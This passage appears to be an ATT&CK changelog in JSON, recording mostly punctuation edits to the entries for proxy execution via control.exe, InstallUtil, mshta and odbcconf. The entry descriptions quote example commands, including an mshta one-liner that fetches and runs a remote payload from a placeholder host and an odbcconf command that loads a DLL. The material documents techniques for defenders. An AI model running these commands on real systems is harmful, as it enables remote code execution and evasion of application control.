"description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
"url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
},
{
"source_name": "TrendMicro CPL Malware Jan 2014",
"description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
"url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"ESET"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:41:19.487000+00:00\", \"old_value\": \"2026-05-12 15:12:00.632000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\\n\\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files; the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n\\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\\n\\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel\\\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)\", \"old_value\": \"Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\\n\\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n\\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\\n\\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Control Panel\\\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\\n \\n-Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n+Control Panel items are registered executable (.exe) or Control Panel (.cpl) files; the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\\n \\n Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\\n \"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse control.exe to proxy execution of mali | t | 1 | Adversaries may abuse control.exe to proxy execution of mali |
| > | cious payloads. The Windows Control Panel process binary (co | > | cious payloads. The Windows Control Panel process binary (co | ||
| > | ntrol.exe) handles execution of Control Panel items, which a | > | ntrol.exe) handles execution of Control Panel items, which a | ||
| > | re utilities that allow users to view and adjust computer se | > | re utilities that allow users to view and adjust computer se | ||
| > | ttings. Control Panel items are registered executable (.exe | > | ttings. Control Panel items are registered executable (.exe | ||
| > | ) or Control Panel (.cpl) files, the latter are actually ren | > | ) or Control Panel (.cpl) files; the latter are actually ren | ||
| > | amed dynamic-link library (.dll) files that export a <code>C | > | amed dynamic-link library (.dll) files that export a <code>C | ||
| > | PlApplet</code> function.(Citation: Microsoft Implementing C | > | PlApplet</code> function.(Citation: Microsoft Implementing C | ||
| > | PL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of u | > | PL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of u | ||
| > | se, Control Panel items typically include graphical menus av | > | se, Control Panel items typically include graphical menus av | ||
| > | ailable to users after being registered and loaded into the | > | ailable to users after being registered and loaded into the | ||
| > | Control Panel.(Citation: Microsoft Implementing CPL) Control | > | Control Panel.(Citation: Microsoft Implementing CPL) Control | ||
| > | Panel items can be executed directly from the command line, | > | Panel items can be executed directly from the command line, | ||
| > | programmatically via an application programming interface ( | > | programmatically via an application programming interface ( | ||
| > | API) call, or by simply double-clicking the file.(Citation: | > | API) call, or by simply double-clicking the file.(Citation: | ||
| > | Microsoft Implementing CPL) (Citation: TrendMicro CPL Malwar | > | Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware | ||
| > | e Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Mali | > | Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) Malic | ||
| > | cious Control Panel items can be delivered via [Phishing](ht | > | ious Control Panel items can be delivered via [Phishing](htt | ||
| > | tps://attack.mitre.org/techniques/T1566) campaigns(Citation: | > | ps://attack.mitre.org/techniques/T1566) campaigns(Citation: | ||
| > | TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL M | > | TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Ma | ||
| > | alware Dec 2013) or executed as part of multi-stage malware. | > | lware Dec 2013) or executed as part of multi-stage malware.( | ||
| > | (Citation: Palo Alto Reaver Nov 2017) Control Panel items, s | > | Citation: Palo Alto Reaver Nov 2017) Control Panel items, sp | ||
| > | pecifically CPL files, may also bypass application and/or fi | > | ecifically CPL files, may also bypass application and/or fil | ||
| > | le extension allow lists. Adversaries may also rename malic | > | e extension allow lists. Adversaries may also rename malici | ||
| > | ious DLL files (.dll) with Control Panel file extensions (.c | > | ous DLL files (.dll) with Control Panel file extensions (.cp | ||
| > | pl) and register them to <code>HKCU\\Software\\Microsoft\\Windo | > | l) and register them to <code>HKCU\\Software\\Microsoft\\Window | ||
| > | ws\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these | > | s\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these | ||
| > | registered DLLs do not comply with the CPL file specificati | > | registered DLLs do not comply with the CPL file specificatio | ||
| > | on and do not export <code>CPlApplet</code> functions, they | > | n and do not export <code>CPlApplet</code> functions, they a | ||
| > | are loaded and executed through its <code>DllEntryPoint</cod | > | re loaded and executed through its <code>DllEntryPoint</code | ||
| > | e> when Control Panel is executed. CPL files not exporting < | > | > when Control Panel is executed. CPL files not exporting <c | ||
| > | code>CPlApplet</code> are not directly executable.(Citation: | > | ode>CPlApplet</code> are not directly executable.(Citation: | ||
| > | ESET InvisiMole June 2020) | > | ESET InvisiMole June 2020) |
C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe .\n\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].(Citation: LOLBAS Installutil)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/004",
"external_id": "T1218.004"
},
{
"source_name": "LOLBAS Installutil",
"description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Installutil/"
},
{
"source_name": "MSDN InstallUtil",
"description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
"url": "https://msdn.microsoft.com/en-us/library/50614e95.aspx"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Casey Smith",
"Travis Smith, Tripwire"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:42:40.884000+00:00\", \"old_value\": \"2026-05-12 15:12:00.623000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.(Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v\\\\InstallUtil.exe and C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v\\\\InstallUtil.exe .\\n\\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].(Citation: LOLBAS Installutil)\", \"old_value\": \"Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v\\\\InstallUtil.exe and C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v\\\\InstallUtil.exe .\\n\\nInstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v\\\\InstallUtil.exe and C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v\\\\InstallUtil.exe .\\n+Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.(Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v\\\\InstallUtil.exe and C:\\\\Windows\\\\Microsoft.NET\\\\Framework64\\\\v\\\\InstallUtil.exe .\\n \\n-InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)\\n+InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].(Citation: LOLBAS Installutil)\"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use InstallUtil to proxy execution of code t | t | 1 | Adversaries may use InstallUtil to proxy execution of code t |
| > | hrough a trusted Windows utility. InstallUtil is a command-l | > | hrough a trusted Windows utility. InstallUtil is a command-l | ||
| > | ine utility that allows for installation and uninstallation | > | ine utility that allows for installation and uninstallation | ||
| > | of resources by executing specific installer components spec | > | of resources by executing specific installer components spec | ||
| > | ified in .NET binaries. (Citation: MSDN InstallUtil) The Ins | > | ified in .NET binaries.(Citation: MSDN InstallUtil) The Inst | ||
| > | tallUtil binary may also be digitally signed by Microsoft an | > | allUtil binary may also be digitally signed by Microsoft and | ||
| > | d located in the .NET directories on a Windows system: <code | > | located in the .NET directories on a Windows system: <code> | ||
| > | >C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.e | > | C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.ex | ||
| > | xe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<v | > | e</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<ve | ||
| > | ersion>\\InstallUtil.exe</code>. InstallUtil may also be use | > | rsion>\\InstallUtil.exe</code>. InstallUtil may also be used | ||
| > | d to bypass application control through use of attributes wi | > | to bypass application control through use of attributes wit | ||
| > | thin the binary that execute the class decorated with the at | > | hin the binary that execute the class decorated with the att | ||
| > | tribute <code>[System.ComponentModel.RunInstaller(true)]</co | > | ribute <code>[System.ComponentModel.RunInstaller(true)]</cod | ||
| > | de>. (Citation: LOLBAS Installutil) | > | e>.(Citation: LOLBAS Installutil) |
mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/005",
"external_id": "T1218.005"
},
{
"source_name": "FireEye Attacks Leveraging HTA",
"description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
"url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html"
},
{
"source_name": "FireEye FIN7 April 2017",
"description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
"url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
},
{
"source_name": "Airbus Security Kovter Analysis",
"description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
"url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
},
{
"source_name": "Cylance Dust Storm",
"description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
"url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
},
{
"source_name": "LOLBAS Mshta",
"description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/"
},
{
"source_name": "Red Canary HTA Abuse Part Deux",
"description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
"url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
},
{
"source_name": "MSDN HTML Applications",
"description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
"url": "https://msdn.microsoft.com/library/ms536471.aspx"
},
{
"source_name": "Wikipedia HTML Application",
"description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
"url": "https://en.wikipedia.org/wiki/HTML_Application"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"@ionstorm",
"Ricardo Dias",
"Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 20:12:12.385000+00:00\", \"old_value\": \"2026-05-12 15:12:00.676000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.(Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017) \\n\\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.(Citation: MSDN HTML Applications)\\n\\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\\\"GetObject(\\\"\\\"script:https[:]//webserver/payload[.]sct\\\"\\\")\\\"))\\n\\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\\n\\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta)\", \"old_value\": \"Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \\n\\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\\n\\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\\\"GetObject(\\\"\\\"script:https[:]//webserver/payload[.]sct\\\"\\\")\\\"))\\n\\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\\n\\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n-Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \\n+Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code.(Citation: Cylance Dust Storm)(Citation: Red Canary HTA Abuse Part Deux)(Citation: FireEye Attacks Leveraging HTA)(Citation: Airbus Security Kovter Analysis)(Citation: FireEye FIN7 April 2017) \\n \\n-Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\\n+Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.(Citation: MSDN HTML Applications)\\n \\n Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\\\"GetObject(\\\"\\\"script:https[:]//webserver/payload[.]sct\\\"\\\")\\\"))\\n \\n They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\\n \\n-Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)\\n+Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.(Citation: LOLBAS Mshta)\"}}}",
"previous_version": "3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse mshta.exe to proxy execution of malici | t | 1 | Adversaries may abuse mshta.exe to proxy execution of malici |
| > | ous .hta files and Javascript or VBScript through a trusted | > | ous .hta files and Javascript or VBScript through a trusted | ||
| > | Windows utility. There are several examples of different typ | > | Windows utility. There are several examples of different typ | ||
| > | es of threats leveraging mshta.exe during initial compromise | > | es of threats leveraging mshta.exe during initial compromise | ||
| > | and for execution of code (Citation: Cylance Dust Storm) (C | > | and for execution of code.(Citation: Cylance Dust Storm)(Ci | ||
| > | itation: Red Canary HTA Abuse Part Deux) (Citation: FireEye | > | tation: Red Canary HTA Abuse Part Deux)(Citation: FireEye At | ||
| > | Attacks Leveraging HTA) (Citation: Airbus Security Kovter An | > | tacks Leveraging HTA)(Citation: Airbus Security Kovter Analy | ||
| > | alysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a | > | sis)(Citation: FireEye FIN7 April 2017) Mshta.exe is a uti | ||
| > | utility that executes Microsoft HTML Applications (HTA) fil | > | lity that executes Microsoft HTML Applications (HTA) files.( | ||
| > | es. (Citation: Wikipedia HTML Application) HTAs are standalo | > | Citation: Wikipedia HTML Application) HTAs are standalone ap | ||
| > | ne applications that execute using the same models and techn | > | plications that execute using the same models and technologi | ||
| > | ologies of Internet Explorer, but outside of the browser. (C | > | es of Internet Explorer, but outside of the browser.(Citatio | ||
| > | itation: MSDN HTML Applications) Files may be executed by m | > | n: MSDN HTML Applications) Files may be executed by mshta.e | ||
| > | shta.exe through an inline script: <code>mshta vbscript:Clos | > | xe through an inline script: <code>mshta vbscript:Close(Exec | ||
| > | e(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.] | > | ute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\") | ||
| > | sct\"\")\"))</code> They may also be executed directly from UR | > | \"))</code> They may also be executed directly from URLs: <c | ||
| > | Ls: <code>mshta http[:]//webserver/payload[.]hta</code> Msh | > | ode>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe | ||
| > | ta.exe can be used to bypass application control solutions t | > | can be used to bypass application control solutions that do | ||
| > | hat do not account for its potential use. Since mshta.exe ex | > | not account for its potential use. Since mshta.exe executes | ||
| > | ecutes outside of the Internet Explorer's security context, | > | outside of the Internet Explorer's security context, it als | ||
| > | it also bypasses browser security settings. (Citation: LOLBA | > | o bypasses browser security settings.(Citation: LOLBAS Mshta | ||
| > | S Mshta) | > | ) |
REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1218/008",
"external_id": "T1218.008"
},
{
"source_name": "TrendMicro Squiblydoo Aug 2017",
"description": "Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/"
},
{
"source_name": "TrendMicro Cobalt Group Nov 2017",
"description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
"url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
},
{
"source_name": "LOLBAS Odbcconf",
"description": "LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019.",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/"
},
{
"source_name": "Microsoft odbcconf.exe",
"description": "Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019.",
"url": "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:43:55.846000+00:00\", \"old_value\": \"2026-05-12 15:12:00.640000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\\n\\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"}).(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \\n\", \"old_value\": \"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\\n\\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\\n \\n-Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \\\"C:\\\\Users\\\\Public\\\\file.dll\\\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \\n+Adversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to 